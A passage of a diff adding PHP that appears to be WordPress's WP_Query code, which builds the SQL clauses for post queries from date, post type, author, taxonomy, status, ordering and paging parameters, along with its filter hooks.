+			$q['no_found_rows'] = (bool) $q['no_found_rows'];
+		else
+			$q['no_found_rows'] = false;
+
+		switch ( $q['fields'] ) {
+			case 'ids':
+				$fields = "{$wpdb->posts}.ID";
+				break;
+			case 'id=>parent':
+				$fields = "{$wpdb->posts}.ID, {$wpdb->posts}.post_parent";
+				break;
+			default:
+				$fields = "{$wpdb->posts}.*";
+		}
+
+		if ( '' !== $q['menu_order'] ) {
+			$where .= " AND {$wpdb->posts}.menu_order = " . $q['menu_order'];
+		}
+		// The "m" parameter is meant for months but accepts datetimes of varying specificity
+		if ( $q['m'] ) {
+			$where .= " AND YEAR({$wpdb->posts}.post_date)=" . substr($q['m'], 0, 4);
+			if ( strlen($q['m']) > 5 ) {
+				$where .= " AND MONTH({$wpdb->posts}.post_date)=" . substr($q['m'], 4, 2);
+			}
+			if ( strlen($q['m']) > 7 ) {
+				$where .= " AND DAYOFMONTH({$wpdb->posts}.post_date)=" . substr($q['m'], 6, 2);
+			}
+			if ( strlen($q['m']) > 9 ) {
+				$where .= " AND HOUR({$wpdb->posts}.post_date)=" . substr($q['m'], 8, 2);
+			}
+			if ( strlen($q['m']) > 11 ) {
+				$where .= " AND MINUTE({$wpdb->posts}.post_date)=" . substr($q['m'], 10, 2);
+			}
+			if ( strlen($q['m']) > 13 ) {
+				$where .= " AND SECOND({$wpdb->posts}.post_date)=" . substr($q['m'], 12, 2);
+			}
+		}
+
+		// Handle the other individual date parameters
+		$date_parameters = array();
+
+		if ( '' !== $q['hour'] )
+			$date_parameters['hour'] = $q['hour'];
+
+		if ( '' !== $q['minute'] )
+			$date_parameters['minute'] = $q['minute'];
+
+		if ( '' !== $q['second'] )
+			$date_parameters['second'] = $q['second'];
+
+		if ( $q['year'] )
+			$date_parameters['year'] = $q['year'];
+
+		if ( $q['monthnum'] )
+			$date_parameters['monthnum'] = $q['monthnum'];
+
+		if ( $q['w'] )
+			$date_parameters['week'] = $q['w'];
+
+		if ( $q['day'] )
+			$date_parameters['day'] = $q['day'];
+
+		if ( $date_parameters ) {
+			$date_query = new WP_Date_Query( array( $date_parameters ) );
+			$where .= $date_query->get_sql();
+		}
+		unset( $date_parameters, $date_query );
+
+		// Handle complex date queries
+		if ( ! empty( $q['date_query'] ) ) {
+			$this->date_query = new WP_Date_Query( $q['date_query'] );
+			$where .= $this->date_query->get_sql();
+		}
+
+
+		// If we've got a post_type AND it's not "any" post_type.
+		if ( !empty($q['post_type']) && 'any' != $q['post_type'] ) {
+			foreach ( (array)$q['post_type'] as $_post_type ) {
+				$ptype_obj = get_post_type_object($_post_type);
+				if ( !$ptype_obj || !$ptype_obj->query_var || empty($q[ $ptype_obj->query_var ]) )
+					continue;
+
+				if ( ! $ptype_obj->hierarchical ) {
+					// Non-hierarchical post types can directly use 'name'.
+					$q['name'] = $q[ $ptype_obj->query_var ];
+				} else {
+					// Hierarchical post types will operate through 'pagename'.
+					$q['pagename'] = $q[ $ptype_obj->query_var ];
+					$q['name'] = '';
+				}
+
+				// Only one request for a slug is possible, this is why name & pagename are overwritten above.
+				break;
+			} //end foreach
+			unset($ptype_obj);
+		}
+
+		if ( '' !== $q['title'] ) {
+			$where .= $wpdb->prepare( " AND {$wpdb->posts}.post_title = %s", stripslashes( $q['title'] ) );
+		}
+
+		// Parameters related to 'post_name'.
+		if ( '' != $q['name'] ) {
+			$q['name'] = sanitize_title_for_query( $q['name'] );
+			$where .= " AND {$wpdb->posts}.post_name = '" . $q['name'] . "'";
+		} elseif ( '' != $q['pagename'] ) {
+			if ( isset($this->queried_object_id) ) {
+				$reqpage = $this->queried_object_id;
+			} else {
+				if ( 'page' != $q['post_type'] ) {
+					foreach ( (array)$q['post_type'] as $_post_type ) {
+						$ptype_obj = get_post_type_object($_post_type);
+						if ( !$ptype_obj || !$ptype_obj->hierarchical )
+							continue;
+
+						$reqpage = get_page_by_path($q['pagename'], OBJECT, $_post_type);
+						if ( $reqpage )
+							break;
+					}
+					unset($ptype_obj);
+				} else {
+					$reqpage = get_page_by_path($q['pagename']);
+				}
+				if ( !empty($reqpage) )
+					$reqpage = $reqpage->ID;
+				else
+					$reqpage = 0;
+			}
+
+			$page_for_posts = get_option('page_for_posts');
+			if  ( ('page' != get_option('show_on_front') ) || empty($page_for_posts) || ( $reqpage != $page_for_posts ) ) {
+				$q['pagename'] = sanitize_title_for_query( wp_basename( $q['pagename'] ) );
+				$q['name'] = $q['pagename'];
+				$where .= " AND ({$wpdb->posts}.ID = '$reqpage')";
+				$reqpage_obj = get_post( $reqpage );
+				if ( is_object($reqpage_obj) && 'attachment' == $reqpage_obj->post_type ) {
+					$this->is_attachment = true;
+					$post_type = $q['post_type'] = 'attachment';
+					$this->is_page = true;
+					$q['attachment_id'] = $reqpage;
+				}
+			}
+		} elseif ( '' != $q['attachment'] ) {
+			$q['attachment'] = sanitize_title_for_query( wp_basename( $q['attachment'] ) );
+			$q['name'] = $q['attachment'];
+			$where .= " AND {$wpdb->posts}.post_name = '" . $q['attachment'] . "'";
+		} elseif ( is_array( $q['post_name__in'] ) && ! empty( $q['post_name__in'] ) ) {
+			$q['post_name__in'] = array_map( 'sanitize_title_for_query', $q['post_name__in'] );
+			$post_name__in = "'" . implode( "','", $q['post_name__in'] ) . "'";
+			$where .= " AND {$wpdb->posts}.post_name IN ($post_name__in)";
+		}
+
+		// If an attachment is requested by number, let it supersede any post number.
+		if ( $q['attachment_id'] )
+			$q['p'] = absint($q['attachment_id']);
+
+		// If a post number is specified, load that post
+		if ( $q['p'] ) {
+			$where .= " AND {$wpdb->posts}.ID = " . $q['p'];
+		} elseif ( $q['post__in'] ) {
+			$post__in = implode(',', array_map( 'absint', $q['post__in'] ));
+			$where .= " AND {$wpdb->posts}.ID IN ($post__in)";
+		} elseif ( $q['post__not_in'] ) {
+			$post__not_in = implode(',',  array_map( 'absint', $q['post__not_in'] ));
+			$where .= " AND {$wpdb->posts}.ID NOT IN ($post__not_in)";
+		}
+
+		if ( is_numeric( $q['post_parent'] ) ) {
+			$where .= $wpdb->prepare( " AND {$wpdb->posts}.post_parent = %d ", $q['post_parent'] );
+		} elseif ( $q['post_parent__in'] ) {
+			$post_parent__in = implode( ',', array_map( 'absint', $q['post_parent__in'] ) );
+			$where .= " AND {$wpdb->posts}.post_parent IN ($post_parent__in)";
+		} elseif ( $q['post_parent__not_in'] ) {
+			$post_parent__not_in = implode( ',',  array_map( 'absint', $q['post_parent__not_in'] ) );
+			$where .= " AND {$wpdb->posts}.post_parent NOT IN ($post_parent__not_in)";
+		}
+
+		if ( $q['page_id'] ) {
+			if  ( ('page' != get_option('show_on_front') ) || ( $q['page_id'] != get_option('page_for_posts') ) ) {
+				$q['p'] = $q['page_id'];
+				$where = " AND {$wpdb->posts}.ID = " . $q['page_id'];
+			}
+		}
+
+		// If a search pattern is specified, load the posts that match.
+		if ( strlen( $q['s'] ) ) {
+			$search = $this->parse_search( $q );
+		}
+
+		if ( ! $q['suppress_filters'] ) {
+			/**
+			 * Filters the search SQL that is used in the WHERE clause of WP_Query.
+			 *
+			 * @since 3.0.0
+			 *
+			 * @param string   $search Search SQL for WHERE clause.
+			 * @param WP_Query $this   The current WP_Query object.
+			 */
+			$search = apply_filters_ref_array( 'posts_search', array( $search, &$this ) );
+		}
+
+		// Taxonomies
+		if ( !$this->is_singular ) {
+			$this->parse_tax_query( $q );
+
+			$clauses = $this->tax_query->get_sql( $wpdb->posts, 'ID' );
+
+			$join .= $clauses['join'];
+			$where .= $clauses['where'];
+		}
+
+		if ( $this->is_tax ) {
+			if ( empty($post_type) ) {
+				// Do a fully inclusive search for currently registered post types of queried taxonomies
+				$post_type = array();
+				$taxonomies = array_keys( $this->tax_query->queried_terms );
+				foreach ( get_post_types( array( 'exclude_from_search' => false ) ) as $pt ) {
+					$object_taxonomies = $pt === 'attachment' ? get_taxonomies_for_attachments() : get_object_taxonomies( $pt );
+					if ( array_intersect( $taxonomies, $object_taxonomies ) )
+						$post_type[] = $pt;
+				}
+				if ( ! $post_type )
+					$post_type = 'any';
+				elseif ( count( $post_type ) == 1 )
+					$post_type = $post_type[0];
+
+				$post_status_join = true;
+			} elseif ( in_array('attachment', (array) $post_type) ) {
+				$post_status_join = true;
+			}
+		}
+
+		/*
+		 * Ensure that 'taxonomy', 'term', 'term_id', 'cat', and
+		 * 'category_name' vars are set for backward compatibility.
+		 */
+		if ( ! empty( $this->tax_query->queried_terms ) ) {
+
+			/*
+			 * Set 'taxonomy', 'term', and 'term_id' to the
+			 * first taxonomy other than 'post_tag' or 'category'.
+			 */
+			if ( ! isset( $q['taxonomy'] ) ) {
+				foreach ( $this->tax_query->queried_terms as $queried_taxonomy => $queried_items ) {
+					if ( empty( $queried_items['terms'][0] ) ) {
+						continue;
+					}
+
+					if ( ! in_array( $queried_taxonomy, array( 'category', 'post_tag' ) ) ) {
+						$q['taxonomy'] = $queried_taxonomy;
+
+						if ( 'slug' === $queried_items['field'] ) {
+							$q['term'] = $queried_items['terms'][0];
+						} else {
+							$q['term_id'] = $queried_items['terms'][0];
+						}
+
+						// Take the first one we find.
+						break;
+					}
+				}
+			}
+
+			// 'cat', 'category_name', 'tag_id'
+			foreach ( $this->tax_query->queried_terms as $queried_taxonomy => $queried_items ) {
+				if ( empty( $queried_items['terms'][0] ) ) {
+					continue;
+				}
+
+				if ( 'category' === $queried_taxonomy ) {
+					$the_cat = get_term_by( $queried_items['field'], $queried_items['terms'][0], 'category' );
+					if ( $the_cat ) {
+						$this->set( 'cat', $the_cat->term_id );
+						$this->set( 'category_name', $the_cat->slug );
+					}
+					unset( $the_cat );
+				}
+
+				if ( 'post_tag' === $queried_taxonomy ) {
+					$the_tag = get_term_by( $queried_items['field'], $queried_items['terms'][0], 'post_tag' );
+					if ( $the_tag ) {
+						$this->set( 'tag_id', $the_tag->term_id );
+					}
+					unset( $the_tag );
+				}
+			}
+		}
+
+		if ( ! empty( $this->tax_query->queries ) || ! empty( $this->meta_query->queries ) || ! empty( $this->allow_query_attachment_by_filename ) ) {
+			$groupby = "{$wpdb->posts}.ID";
+		}
+
+		// Author/user stuff
+
+		if ( ! empty( $q['author'] ) && $q['author'] != '0' ) {
+			$q['author'] = addslashes_gpc( '' . urldecode( $q['author'] ) );
+			$authors = array_unique( array_map( 'intval', preg_split( '/[,\s]+/', $q['author'] ) ) );
+			foreach ( $authors as $author ) {
+				$key = $author > 0 ? 'author__in' : 'author__not_in';
+				$q[$key][] = abs( $author );
+			}
+			$q['author'] = implode( ',', $authors );
+		}
+
+		if ( ! empty( $q['author__not_in'] ) ) {
+			$author__not_in = implode( ',', array_map( 'absint', array_unique( (array) $q['author__not_in'] ) ) );
+			$where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";
+		} elseif ( ! empty( $q['author__in'] ) ) {
+			$author__in = implode( ',', array_map( 'absint', array_unique( (array) $q['author__in'] ) ) );
+			$where .= " AND {$wpdb->posts}.post_author IN ($author__in) ";
+		}
+
+		// Author stuff for nice URLs
+
+		if ( '' != $q['author_name'] ) {
+			if ( strpos($q['author_name'], '/') !== false ) {
+				$q['author_name'] = explode('/', $q['author_name']);
+				if ( $q['author_name'][ count($q['author_name'])-1 ] ) {
+					$q['author_name'] = $q['author_name'][count($q['author_name'])-1]; // no trailing slash
+				} else {
+					$q['author_name'] = $q['author_name'][count($q['author_name'])-2]; // there was a trailing slash
+				}
+			}
+			$q['author_name'] = sanitize_title_for_query( $q['author_name'] );
+			$q['author'] = get_user_by('slug', $q['author_name']);
+			if ( $q['author'] )
+				$q['author'] = $q['author']->ID;
+			$whichauthor .= " AND ({$wpdb->posts}.post_author = " . absint($q['author']) . ')';
+		}
+
+		// Matching by comment count.
+		if ( isset( $q['comment_count'] ) ) {
+			// Numeric comment count is converted to array format.
+			if ( is_numeric( $q['comment_count'] ) ) {
+				$q['comment_count'] = array(
+					'value' => intval( $q['comment_count'] ),
+				);
+			}
+
+			if ( isset( $q['comment_count']['value'] ) ) {
+				$q['comment_count'] = array_merge( array(
+					'compare' => '=',
+				), $q['comment_count'] );
+
+				// Fallback for invalid compare operators is '='.
+				$compare_operators = array( '=', '!=', '>', '>=', '<', '<=' );
+				if ( ! in_array( $q['comment_count']['compare'], $compare_operators, true ) ) {
+					$q['comment_count']['compare'] = '=';
+				}
+
+				$where .= $wpdb->prepare( " AND {$wpdb->posts}.comment_count {$q['comment_count']['compare']} %d", $q['comment_count']['value'] );
+			}
+		}
+
+		// MIME-Type stuff for attachment browsing
+
+		if ( isset( $q['post_mime_type'] ) && '' != $q['post_mime_type'] ) {
+			$whichmimetype = wp_post_mime_type_where( $q['post_mime_type'], $wpdb->posts );
+		}
+		$where .= $search . $whichauthor . $whichmimetype;
+
+		if ( ! empty( $this->allow_query_attachment_by_filename ) ) {
+			$join .= " LEFT JOIN {$wpdb->postmeta} AS sq1 ON ( {$wpdb->posts}.ID = sq1.post_id AND sq1.meta_key = '_wp_attached_file' )";
+		}
+
+		if ( ! empty( $this->meta_query->queries ) ) {
+			$clauses = $this->meta_query->get_sql( 'post', $wpdb->posts, 'ID', $this );
+			$join   .= $clauses['join'];
+			$where  .= $clauses['where'];
+		}
+
+		$rand = ( isset( $q['orderby'] ) && 'rand' === $q['orderby'] );
+		if ( ! isset( $q['order'] ) ) {
+			$q['order'] = $rand ? '' : 'DESC';
+		} else {
+			$q['order'] = $rand ? '' : $this->parse_order( $q['order'] );
+		}
+
+		// Order by.
+		if ( empty( $q['orderby'] ) ) {
+			/*
+			 * Boolean false or empty array blanks out ORDER BY,
+			 * while leaving the value unset or otherwise empty sets the default.
+			 */
+			if ( isset( $q['orderby'] ) && ( is_array( $q['orderby'] ) || false === $q['orderby'] ) ) {
+				$orderby = '';
+			} else {
+				$orderby = "{$wpdb->posts}.post_date " . $q['order'];
+			}
+		} elseif ( 'none' == $q['orderby'] ) {
+			$orderby = '';
+		} elseif ( $q['orderby'] == 'post__in' && ! empty( $post__in ) ) {
+			$orderby = "FIELD( {$wpdb->posts}.ID, $post__in )";
+		} elseif ( $q['orderby'] == 'post_parent__in' && ! empty( $post_parent__in ) ) {
+			$orderby = "FIELD( {$wpdb->posts}.post_parent, $post_parent__in )";
+		} elseif ( $q['orderby'] == 'post_name__in' && ! empty( $post_name__in ) ) {
+			$orderby = "FIELD( {$wpdb->posts}.post_name, $post_name__in )";
+		} else {
+			$orderby_array = array();
+			if ( is_array( $q['orderby'] ) ) {
+				foreach ( $q['orderby'] as $_orderby => $order ) {
+					$orderby = addslashes_gpc( urldecode( $_orderby ) );
+					$parsed  = $this->parse_orderby( $orderby );
+
+					if ( ! $parsed ) {
+						continue;
+					}
+
+					$orderby_array[] = $parsed . ' ' . $this->parse_order( $order );
+				}
+				$orderby = implode( ', ', $orderby_array );
+
+			} else {
+				$q['orderby'] = urldecode( $q['orderby'] );
+				$q['orderby'] = addslashes_gpc( $q['orderby'] );
+
+				foreach ( explode( ' ', $q['orderby'] ) as $i => $orderby ) {
+					$parsed = $this->parse_orderby( $orderby );
+					// Only allow certain values for safety.
+					if ( ! $parsed ) {
+						continue;
+					}
+
+					$orderby_array[] = $parsed;
+				}
+				$orderby = implode( ' ' . $q['order'] . ', ', $orderby_array );
+
+				if ( empty( $orderby ) ) {
+					$orderby = "{$wpdb->posts}.post_date " . $q['order'];
+				} elseif ( ! empty( $q['order'] ) ) {
+					$orderby .= " {$q['order']}";
+				}
+			}
+		}
+
+		// Order search results by relevance only when another "orderby" is not specified in the query.
+		if ( ! empty( $q['s'] ) ) {
+			$search_orderby = '';
+			if ( ! empty( $q['search_orderby_title'] ) && ( empty( $q['orderby'] ) && ! $this->is_feed ) || ( isset( $q['orderby'] ) && 'relevance' === $q['orderby'] ) )
+				$search_orderby = $this->parse_search_order( $q );
+
+			if ( ! $q['suppress_filters'] ) {
+				/**
+				 * Filters the ORDER BY used when ordering search results.
+				 *
+				 * @since 3.7.0
+				 *
+				 * @param string   $search_orderby The ORDER BY clause.
+				 * @param WP_Query $this           The current WP_Query instance.
+				 */
+				$search_orderby = apply_filters( 'posts_search_orderby', $search_orderby, $this );
+			}
+
+			if ( $search_orderby )
+				$orderby = $orderby ? $search_orderby . ', ' . $orderby : $search_orderby;
+		}
+
+		if ( is_array( $post_type ) && count( $post_type ) > 1 ) {
+			$post_type_cap = 'multiple_post_type';
+		} else {
+			if ( is_array( $post_type ) )
+				$post_type = reset( $post_type );
+			$post_type_object = get_post_type_object( $post_type );
+			if ( empty( $post_type_object ) )
+				$post_type_cap = $post_type;
+		}
+
+		if ( isset( $q['post_password'] ) ) {
+			$where .= $wpdb->prepare( " AND {$wpdb->posts}.post_password = %s", $q['post_password'] );
+			if ( empty( $q['perm'] ) ) {
+				$q['perm'] = 'readable';
+			}
+		} elseif ( isset( $q['has_password'] ) ) {
+			$where .= sprintf( " AND {$wpdb->posts}.post_password %s ''", $q['has_password'] ? '!=' : '=' );
+		}
+
+		if ( ! empty( $q['comment_status'] ) ) {
+			$where .= $wpdb->prepare( " AND {$wpdb->posts}.comment_status = %s ", $q['comment_status'] );
+		}
+
+		if ( ! empty( $q['ping_status'] ) )  {
+			$where .= $wpdb->prepare( " AND {$wpdb->posts}.ping_status = %s ", $q['ping_status'] );
+		}
+
+		if ( 'any' == $post_type ) {
+			$in_search_post_types = get_post_types( array('exclude_from_search' => false) );
+			if ( empty( $in_search_post_types ) ) {
+				$where .= ' AND 1=0 ';
+			} else {
+				$where .= " AND {$wpdb->posts}.post_type IN ('" . join( "', '", array_map( 'esc_sql', $in_search_post_types ) ) . "')";
+			}
+		} elseif ( !empty( $post_type ) && is_array( $post_type ) ) {
+			$where .= " AND {$wpdb->posts}.post_type IN ('" . join("', '", esc_sql( $post_type ) ) . "')";
+		} elseif ( ! empty( $post_type ) ) {
+			$where .= $wpdb->prepare( " AND {$wpdb->posts}.post_type = %s", $post_type );
+			$post_type_object = get_post_type_object ( $post_type );
+		} elseif ( $this->is_attachment ) {
+			$where .= " AND {$wpdb->posts}.post_type = 'attachment'";
+			$post_type_object = get_post_type_object ( 'attachment' );
+		} elseif ( $this->is_page ) {
+			$where .= " AND {$wpdb->posts}.post_type = 'page'";
+			$post_type_object = get_post_type_object ( 'page' );
+		} else {
+			$where .= " AND {$wpdb->posts}.post_type = 'post'";
+			$post_type_object = get_post_type_object ( 'post' );
+		}
+
+		$edit_cap = 'edit_post';
+		$read_cap = 'read_post';
+
+		if ( ! empty( $post_type_object ) ) {
+			$edit_others_cap = $post_type_object->cap->edit_others_posts;
+			$read_private_cap = $post_type_object->cap->read_private_posts;
+		} else {
+			$edit_others_cap = 'edit_others_' . $post_type_cap . 's';
+			$read_private_cap = 'read_private_' . $post_type_cap . 's';
+		}
+
+		$user_id = get_current_user_id();
+
+		$q_status = array();
+		if ( ! empty( $q['post_status'] ) ) {
+			$statuswheres = array();
+			$q_status = $q['post_status'];
+			if ( ! is_array( $q_status ) )
+				$q_status = explode(',', $q_status);
+			$r_status = array();
+			$p_status = array();
+			$e_status = array();
+			if ( in_array( 'any', $q_status ) ) {
+				foreach ( get_post_stati( array( 'exclude_from_search' => true ) ) as $status ) {
+					if ( ! in_array( $status, $q_status ) ) {
+						$e_status[] = "{$wpdb->posts}.post_status <> '$status'";
+					}
+				}
+			} else {
+				foreach ( get_post_stati() as $status ) {
+					if ( in_array( $status, $q_status ) ) {
+						if ( 'private' == $status ) {
+							$p_status[] = "{$wpdb->posts}.post_status = '$status'";
+						} else {
+							$r_status[] = "{$wpdb->posts}.post_status = '$status'";
+						}
+					}
+				}
+			}
+
+			if ( empty($q['perm'] ) || 'readable' != $q['perm'] ) {
+				$r_status = array_merge($r_status, $p_status);
+				unset($p_status);
+			}
+
+			if ( !empty($e_status) ) {
+				$statuswheres[] = "(" . join( ' AND ', $e_status ) . ")";
+			}
+			if ( !empty($r_status) ) {
+				if ( !empty($q['perm'] ) && 'editable' == $q['perm'] && !current_user_can($edit_others_cap) ) {
+					$statuswheres[] = "({$wpdb->posts}.post_author = $user_id " . "AND (" . join( ' OR ', $r_status ) . "))";
+				} else {
+					$statuswheres[] = "(" . join( ' OR ', $r_status ) . ")";
+				}
+			}
+			if ( !empty($p_status) ) {
+				if ( !empty($q['perm'] ) && 'readable' == $q['perm'] && !current_user_can($read_private_cap) ) {
+					$statuswheres[] = "({$wpdb->posts}.post_author = $user_id " . "AND (" . join( ' OR ', $p_status ) . "))";
+				} else {
+					$statuswheres[] = "(" . join( ' OR ', $p_status ) . ")";
+				}
+			}
+			if ( $post_status_join ) {
+				$join .= " LEFT JOIN {$wpdb->posts} AS p2 ON ({$wpdb->posts}.post_parent = p2.ID) ";
+				foreach ( $statuswheres as $index => $statuswhere ) {
+					$statuswheres[$index] = "($statuswhere OR ({$wpdb->posts}.post_status = 'inherit' AND " . str_replace( $wpdb->posts, 'p2', $statuswhere ) . "))";
+				}
+			}
+			$where_status = implode( ' OR ', $statuswheres );
+			if ( ! empty( $where_status ) ) {
+				$where .= " AND ($where_status)";
+			}
+		} elseif ( !$this->is_singular ) {
+			$where .= " AND ({$wpdb->posts}.post_status = 'publish'";
+
+			// Add public states.
+			$public_states = get_post_stati( array('public' => true) );
+			foreach ( (array) $public_states as $state ) {
+				if ( 'publish' == $state ) // Publish is hard-coded above.
+					continue;
+				$where .= " OR {$wpdb->posts}.post_status = '$state'";
+			}
+
+			if ( $this->is_admin ) {
+				// Add protected states that should show in the admin all list.
+				$admin_all_states = get_post_stati( array('protected' => true, 'show_in_admin_all_list' => true) );
+				foreach ( (array) $admin_all_states as $state ) {
+					$where .= " OR {$wpdb->posts}.post_status = '$state'";
+				}
+			}
+
+			if ( is_user_logged_in() ) {
+				// Add private states that are limited to viewing by the author of a post or someone who has caps to read private states.
+				$private_states = get_post_stati( array('private' => true) );
+				foreach ( (array) $private_states as $state ) {
+					$where .= current_user_can( $read_private_cap ) ? " OR {$wpdb->posts}.post_status = '$state'" : " OR {$wpdb->posts}.post_author = $user_id AND {$wpdb->posts}.post_status = '$state'";
+				}
+			}
+
+			$where .= ')';
+		}
+
+		/*
+		 * Apply filters on where and join prior to paging so that any
+		 * manipulations to them are reflected in the paging by day queries.
+		 */
+		if ( !$q['suppress_filters'] ) {
+			/**
+			 * Filters the WHERE clause of the query.
+			 *
+			 * @since 1.5.0
+			 *
+			 * @param string   $where The WHERE clause of the query.
+			 * @param WP_Query $this The WP_Query instance (passed by reference).
+			 */
+			$where = apply_filters_ref_array( 'posts_where', array( $where, &$this ) );
+
+			/**
+			 * Filters the JOIN clause of the query.
+			 *
+			 * @since 1.5.0
+			 *
+			 * @param string   $join  The JOIN clause of the query.
+			 * @param WP_Query $this The WP_Query instance (passed by reference).
+			 */
+			$join = apply_filters_ref_array( 'posts_join', array( $join, &$this ) );
+		}
+
+		// Paging
+		if ( empty($q['nopaging']) && !$this->is_singular ) {
+			$page = absint($q['paged']);
+			if ( !$page )
+				$page = 1;
+
+			// If 'offset' is provided, it takes precedence over 'paged'.
+			if ( isset( $q['offset'] ) && is_numeric( $q['offset'] ) ) {
+				$q['offset'] = absint( $q['offset'] );
+				$pgstrt = $q['offset'] . ', ';
+			} else {
+				$pgstrt = absint( ( $page - 1 ) * $q['posts_per_page'] ) . ', ';
+			}
+			$limits = 'LIMIT ' . $pgstrt . $q['posts_per_page'];
+		}
+
+		// Comments feeds
+		if ( $this->is_comment_feed && ! $this->is_singular ) {
+			if ( $this->is_archive || $this->is_search ) {
+				$cjoin = "JOIN {$wpdb->posts} ON ({$wpdb->comments}.comment_post_ID = {$wpdb->posts}.ID) $join ";
+				$cwhere = "WHERE comment_approved = '1' $where";
+				$cgroupby = "{$wpdb->comments}.comment_id";
+			} else { // Other non singular e.g. front
+				$cjoin = "JOIN {$wpdb->posts} ON ( {$wpdb->comments}.comment_post_ID = {$wpdb->posts}.ID )";
+				$cwhere = "WHERE ( post_status = 'publish' OR ( post_status = 'inherit' AND post_type = 'attachment' ) ) AND comment_approved = '1'";
+				$cgroupby = '';
+			}
+
+			if ( !$q['suppress_filters'] ) {
+				/**
+				 * Filters the JOIN clause of the comments feed query before sending.
+				 *
+				 * @since 2.2.0
+				 *
+				 * @param string   $cjoin The JOIN clause of the query.
+				 * @param WP_Query $this The WP_Query instance (passed by reference).
+				 */
+				$cjoin = apply_filters_ref_array( 'comment_feed_join', array( $cjoin, &$this ) );
+
+				/**
+				 * Filters the WHERE clause of the comments feed query before sending.
+				 *
+				 * @since 2.2.0
+				 *
+				 * @param string   $cwhere The WHERE clause of the query.
+				 * @param WP_Query $this   The WP_Query instance (passed by reference).
+				 */
+				$cwhere = apply_filters_ref_array( 'comment_feed_where', array( $cwhere, &$this ) );
+
+				/**
+				 * Filters the GROUP BY clause of the comments feed query before sending.
+				 *
+				 * @since 2.2.0
+				 *
+				 * @param string   $cgroupby The GROUP BY clause of the query.
+				 * @param WP_Query $this     The WP_Query instance (passed by reference).
+				 */
+				$cgroupby = apply_filters_ref_array( 'comment_feed_groupby', array( $cgroupby, &$this ) );
+
+				/**
+				 * Filters the ORDER BY clause of the comments feed query before sending.
+				 *
+				 * @since 2.8.0
+				 *
+				 * @param string   $corderby The ORDER BY clause of the query.
+				 * @param WP_Query $this     The WP_Query instance (passed by reference).
+				 */
+				$corderby = apply_filters_ref_array( 'comment_feed_orderby', array( 'comment_date_gmt DESC', &$this ) );
+
+				/**
+				 * Filters the LIMIT clause of the comments feed query before sending.
+				 *
+				 * @since 2.8.0
+				 *
+				 * @param string   $climits The JOIN clause of the query.
+				 * @param WP_Query $this    The WP_Query instance (passed by reference).
+				 */
+				$climits = apply_filters_ref_array( 'comment_feed_limits', array( 'LIMIT ' . get_option('posts_per_rss'), &$this ) );
+			}
+			$cgroupby = ( ! empty( $cgroupby ) ) ? 'GROUP BY ' . $cgroupby : '';
+			$corderby = ( ! empty( $corderby ) ) ? 'ORDER BY ' . $corderby : '';
+
+			$comments = (array) $wpdb->get_results("SELECT $distinct {$wpdb->comments}.* FROM {$wpdb->comments} $cjoin $cwhere $cgroupby $corderby $climits");
+			// Convert to WP_Comment
+			$this->comments = array_map( 'get_comment', $comments );
+			$this->comment_count = count($this->comments);
+
+			$post_ids = array();
+
+			foreach ( $this->comments as $comment )
+				$post_ids[] = (int) $comment->comment_post_ID;
+
+			$post_ids = join(',', $post_ids);
+			$join = '';
+			if ( $post_ids ) {
+				$where = "AND {$wpdb->posts}.ID IN ($post_ids) ";
+			} else {
+				$where = "AND 0";
+			}
+		}
+
+		$pieces = array( 'where', 'groupby', 'join', 'orderby', 'distinct', 'fields', 'limits' );
+
+		/*
+		 * Apply post-paging filters on where and join. Only plugins that
+		 * manipulate paging queries should use these hooks.
+		 */
+		if ( !$q['suppress_filters'] ) {
+			/**
+			 * Filters the WHERE clause of the query.
+			 *
+			 * Specifically for manipulating paging queries.
+			 *
+			 * @since 1.5.0
+			 *
+			 * @param string   $where The WHERE clause of the query.
+			 * @param WP_Query $this The WP_Query instance (passed by reference).
+			 */
+			$where = apply_filters_ref_array( 'posts_where_paged', array( $where, &$this ) );
+
+			/**
+			 * Filters the GROUP BY clause of the query.
+			 *
+			 * @since 2.0.0
+			 *
+			 * @param string   $groupby The GROUP BY clause of the query.
+			 * @param WP_Query $this    The WP_Query instance (passed by reference).
+			 */
+			$groupby = apply_filters_ref_array( 'posts_groupby', array( $groupby, &$this ) );
+
+			/**
+			 * Filters the JOIN clause of the query.
+			 *
+			 * Specifically for manipulating paging queries.
+			 *
+			 * @since 1.5.0
+			 *
+			 * @param string   $join  The JOIN clause of the query.
+			 * @param WP_Query $this The WP_Query instance (passed by reference).
+			 */
+			$join = apply_filters_ref_array( 'posts_join_paged', array( $join, &$this ) );
+
+			/**
+			 * Filters the ORDER BY clause of the query.
+			 *
+			 * @since 1.5.1
+			 *
+			 * @param string   $orderby The ORDER BY clause of the query.
+			 * @param WP_Query $this    The WP_Query instance (passed by reference).
+			 */
+			$orderby = apply_filters_ref_array( 'posts_orderby', array( $orderby, &$this ) );
+
+			/**
+			 * Filters the DISTINCT clause of the query.
+			 *
+			 * @since 2.1.0
+			 *
+			 * @param string   $distinct The DISTINCT clause of the query.
+			 * @param WP_Query $this     The WP_Query instance (passed by reference).
+			 */
+			$distinct = apply_filters_ref_array( 'posts_distinct', array( $distinct, &$this ) );
+
+			/**
+			 * Filters the LIMIT clause of the query.
+			 *
+			 * @since 2.1.0
+			 *
+			 * @param string   $limits The LIMIT clause of the query.
+			 * @param WP_Query $this   The WP_Query instance (passed by reference).
+			 */
+			$limits = apply_filters_ref_array( 'post_limits', array( $limits, &$this ) );
+
+			/**
+			 * Filters the SELECT clause of the query.
+			 *
+			 * @since 2.1.0
+			 *
+			 * @param string   $fields The SELECT clause of the query.
+			 * @param WP_Query $this   The WP_Query instance (passed by reference).
+			 */
+			$fields = apply_filters_ref_array( 'posts_fields', array( $fields, &$this ) );
+
+			/**
+			 * Filters all query clauses at once, for convenience.
+			 *
+			 * Covers the WHERE, GROUP BY, JOIN, ORDER BY, DISTINCT,
+			 * fields (SELECT), and LIMITS clauses.
+			 *
+			 * @since 3.1.0
+			 *
+			 * @param array    $clauses The list of clauses for the query.
+			 * @param WP_Query $this    The WP_Query instance (passed by reference).
+			 */
+			$clauses = (array) apply_filters_ref_array( 'posts_clauses', array( compact( $pieces ), &$this ) );
+
+			$where = isset( $clauses[ 'where' ] ) ? $clauses[ 'where' ] : '';
+			$groupby = isset( $clauses[ 'groupby' ] ) ? $clauses[ 'groupby' ] : '';
+			$join = isset( $clauses[ 'join' ] ) ? $clauses[ 'join' ] : '';
+			$orderby = isset( $clauses[ 'orderby' ] ) ? $clauses[ 'orderby' ] : '';
+			$distinct = isset( $clauses[ 'distinct' ] ) ? $clauses[ 'distinct' ] : '';
